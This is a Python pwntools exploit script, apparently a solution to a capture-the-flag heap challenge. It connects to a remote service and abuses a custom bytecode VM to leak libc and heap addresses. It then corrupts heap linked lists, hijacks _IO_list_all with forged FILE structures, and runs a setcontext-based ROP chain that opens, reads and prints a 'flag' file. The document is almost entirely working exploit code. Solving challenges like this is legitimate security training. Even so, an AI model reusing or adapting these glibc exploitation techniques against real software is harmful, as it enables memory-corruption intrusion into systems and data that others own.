from pwn import * import sys
file = "./pwn" if len(sys.argv) == 1 or sys.argv[1] == 'l': sh = process(file) elif sys.argv[1] == 'r': sh = remote("1.95.76.73", 10011 ) elf = ELF(file)
def ru(string): sh.recvuntil(string) def dbg(con=''): if len(sys.argv) > 1 and sys.argv[1] == 'r': return if isinstance(con, int): con = "b *$rebase(" + hex(con)+")" gdb.attach(sh, con) pause() def sl(content): sh.sendline(content) def itr(): sh.interactive() context.log_level = 'debug' def get_heap(): res = 0 res = u64(sh.recvuntil("\x55", timeout=0.2)[-6:].ljust(8, b'\x00')) if res == 0: res = u64(sh.recvuntil("\x56", timeout=0.2)[-6:].ljust(8, b'\x00')) return res def get_libc(): res = 0 res = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00')) if res == 0: res = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00')) return res def get_tcache(): res = u64(sh.recvuntil("\x05")[-5:].ljust(8, b"\x00")) return res
def add_note(idx, size): return p8(1) + p8(0x10) + p8(idx) + p32(size) def free_note(idx): return p8(1) + p8(0x11) + p8(idx)
def add(num1, num2): return p8(16) + p8(0x10) + p32(num1) + p32(num2) def sub(num1, num2): return p8(16) + p8(0x11) + p32(num1) + p32(num2) def nul(num1, num2): return p8(16) + p8(0x12) + p32(num1) + p32(num2) def div(num1, num2): return p8(16) + p8(0x13) + p32(num1) + p32(num2) def store(offset, con): return p8(16) + p8(0x14) + p32(offset) + p64(con) def load(offset): return p8(16) + p8(0x15) + p32(offset) + p64(0) def show(offset): return p8(16) + p8(0x16) + p32(offset)
def rsh(num1, num2): return p8(17) + p8(0x10) + p32(num1) + p32(num2) def lsh(num1, num2): return p8(17) + p8(0x11) + p32(num1) + p32(num2) def _xor(num1, num2): return p8(17) + p8(0x12) + p32(num1) + p32(num2) def _or(num1, num2): return p8(17) + p8(0x13) + p32(num1) + p32(num2) def _and(num1, num2): return p8(17) + p8(0x14) + p32(num1) + p32(num2)
def cal_alu(idx): return p8(2) + p8(idx)
def func(): ru("Please input some text (max size: 4096 bytes):")
code = add_note(0, 0x480) + add_note(1, 0x4a0) + add_note(2, 0x480) + add_note(3, 0x480) + add_note(4, 0x480) code += free_note(1) + add_note(5, 0x4f0) + free_note(3) code += cal_alu(0) + _xor(1, 1) * 0x40 + load(0x398) + show(0x100000000-0xe) +load(0x3a8) + show(0x100000000-0xe)+ p8(0) + p8(3) sh.send(code)
addr = get_libc() large = addr heap = get_heap() system = addr - 0x1ab800 libc = ELF("./libc.so.6") base = system - libc.sym['system'] + 0x10 print("addr :", hex(addr)) print("base :", hex(base)) print("heap :", hex(heap)) listall = base + libc.sym['_IO_list_all'] stderr = base + libc.sym['stderr'] function_table = base + 0x205660 arg_table = base + 0x205668 print("function_table :", hex(function_table)) print("arg_table :", hex(arg_table)) chunk1 = heap chunk3 = heap+0x4b0+0x490
code = cal_alu(0) code += _xor(1, 1) * 0x40 + store(0x3a8, arg_table-0x20) code += p8(0) + add_note(6, 0x4f0)
code += p8(3)
ru("Please input some text (max size: 4096 bytes):") sh.send(code)
#============================ 修复双链表 ===================================================== code = cal_alu(0) code += _xor(1, 1) * 0x40 + store(0x3a0, chunk3) code += p8(0) code += cal_alu(2) code += _xor(1, 1) * 0x40 + store(0x3a8, chunk1) code += p8(0)
code += p8(3)
#========================================================================================================== ru("Please input some text (max size: 4096 bytes):") sh.send(code)
#==========================================================================================================
code = add_note(7, 0x480) + free_note(7) code += cal_alu(0) code += _xor(1, 1) * 0x40 + store(0x3a8, function_table-0x20) code += p8(0)+ add_note(8, 0x4f0)
#============================ 修复双链表 ===================================================== code += p8(3)
#========================================================================================================== ru("Please input some text (max size: 4096 bytes):") sh.send(code)
code = cal_alu(0) code += _xor(1, 1) * 0x40 + store(0x3a0, chunk3) code += p8(0) code += cal_alu(2) code += _xor(1, 1) * 0x40 + store(0x3a8, chunk1) code += p8(0) code += free_note(8) + free_note(6) code += p8(3) ru("Please input some text (max size: 4096 bytes):") sh.send(code)
jumps = base + libc.sym['_IO_wfile_jumps']
#0x0000000000176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20] magic = base + 0x0000000000176f0e pop_rdi_ret = base + 0x000000000010f75b pop_rsi_ret = base + 0x0000000000110a4d pop_rdx_ret = base + 0x00000000000ab891 #or byte ptr [rcx - 0xa] pop_rcx_ret = base + 0x00000000000a876e pop_rax_ret = base + 0x00000000000dd237 setcontext = base + libc.sym['setcontext'] syscall = base + 0x98fa6 ret = base + 0x000000000002882f _open = base + libc.sym['open'] _read = base + libc.sym['read'] _write = base + libc.sym['write'] code = add_note(3, 0x480) + free_note(3) code += cal_alu(0) code += _xor(1, 1) * 0x40 + store(0x3a8, listall-0x20) code += p8(0)+ add_note(8, 0x4f0) + free_note(8) code += add_note(3, 0x480)
#先修复chunk1 code += cal_alu(0) code += _xor(1, 1) * 0x40 + store(0x3a8, chunk1) code += p8(0) code += p8(3)
print("function_table :", hex(function_table)) print("arg_table :", hex(arg_table)) print("len ==", hex(len(code))) print("magic :", hex(magic))
ru("Please input some text (max size: 4096 bytes):") sl(code)
#申请chunk1 伪造结构 code = add_note(1, 0x4a0) code += cal_alu(1) for i in range(4): code += store(i*8, 0) code += store(0x28-0x10, 1) code += store(0x88-0x10, chunk3+0x1000) code += store(0xa0-0x10, chunk1) code += store(0xd8-0x10, jumps) code += store(0xe0-0x10, chunk1) code += store(0x68-0x10, magic)
code += store(0x38-0x10, chunk1+0x10+0x200) code += store(0x200+0x20, setcontext+61) code += store(0x200+0xa0, chunk1+0x10+0x300) code += store(0x200+0xa8, ret) #code += store(0x280-0x10, 0x7478742e67616c66) #flag.txt code += store(0x280-0x10, 0x67616c66) #flag
code += store(0x300, pop_rdi_ret) code += store(0x308, chunk1+0x280) code += store(0x310, pop_rsi_ret) code += store(0x318, 0) code += store(0x320, pop_rax_ret) code += store(0x328, 2) code += store(0x330, syscall) code += store(0x338, pop_rdi_ret) code += store(0x340, 3) code += store(0x348, pop_rsi_ret) code += store(0x350, chunk1+0x1000) code += store(0x358, pop_rcx_ret) code += store(0x360, chunk1) code += store(0x368, pop_rdx_ret) code += store(0x370, 0x100) code += store(0x378, pop_rax_ret) code += store(0x380, 0) code += store(0x388, syscall) code += store(0x390, pop_rdi_ret) code += store(0x398, 1) code += store(0x3a0, pop_rsi_ret) code += store(0x3a8, chunk1+0x1000) code += store(0x3b0, pop_rcx_ret) code += store(0x3b8, chunk1) code += store(0x3c0, pop_rdx_ret) code += store(0x3c8, 0x100) code += store(0x3d0, pop_rax_ret) code += store(0x3d8, 1) code += store(0x3e0, syscall)
code += p8(0) code += p8(3) ru("Please input some text (max size: 4096 bytes):") sl(code)
code = cal_alu(3) code += store(0x320-0x10, base+libc.sym['exit']) code += p8(0) code += p8(3) ru("Please input some text (max size: 4096 bytes):") sl(code) itr()
if __name__ == "__main__": func()
|